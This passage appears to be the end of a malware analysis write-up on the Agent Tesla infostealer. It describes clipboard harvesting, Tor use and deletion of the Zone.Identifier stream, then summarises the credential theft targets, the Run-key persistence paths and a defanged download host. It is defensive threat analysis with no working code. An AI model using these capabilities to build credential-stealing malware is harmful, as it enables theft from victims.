Malware Adds the specified window to the chain of clipboard viewers. So malware harvests data from the system clipboard and we can see that in the next figure.

Figure(30): clipboard.

TOR

Malware uses the Tor anonymizing network client and Tor is free and open-source software for enabling anonymous communication. It directs Internet traffic through a free, worldwide, volunteer overlay network, consisting of more than six thousand relays.

Figure(31): TOR.

Deleting ADS (Zone identifier)

Malware can delete ADS (Zone identifier) and we can see that in the next figure

Figure(32): Deleting ADS (Zone identifier).

Summery

Stealing

FTP services credentials
30 different web browsers (logins/pass, cookies)
Windows credentials
Mail clients credentials
VPN clients credentials
Chat clients credentials
VNC programs credentials
Capabilities
Persistence: “Software\Microsoft\Windows\CurrentVersion\Run” “SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run”
Using “hxxps://api.ipify.org” to get External IP
Downloading and running files from hxxp://CsQCyR.com
PC name, processor, RAM, others…
Uninstalling itself
Deleting ADS (Zone identifier)
Taking screenshots
Keylogging
Socket communication
Web communication
clipboard data
Tor browser client
references
https://www.youtube.com/watch?v=BM38OshcozE&t=2177s
https://blogs.blackberry.com/en/2021/06/threat-thursday-agent-tesla-infostealer-malware

Gameel Ali

Agent Tesla

Infect cycle

Stage 1

Aritfacts

Identify packed

Unpacking

Stage 2

Artifacts

Configuration Extraction

Deobfuscation

Final Stage

Artifacts

Determine the functionality of malware

persistence

Browser Stealing Activities

List Of Browsers

Email Stealing Activities

FTP Utility Stealing Activities

VPN Stealing Activities

Windows credentials

VNC programs credentials

Exfiltration

Communications

HTTP

FTP

SMTP

Telegram

Downloading and running files

Fingerprinting

Computer Name, User Name

External IPs

Memory

Processor

Uninstall

cookies For Browsers

Cookies For SQLite

Cookies For FTP Application

Search UserName, Password for Browser

Screenshots

Keystrokes

clipboard

TOR

Deleting ADS (Zone identifier)

Summery

Stealing

Capabilities

references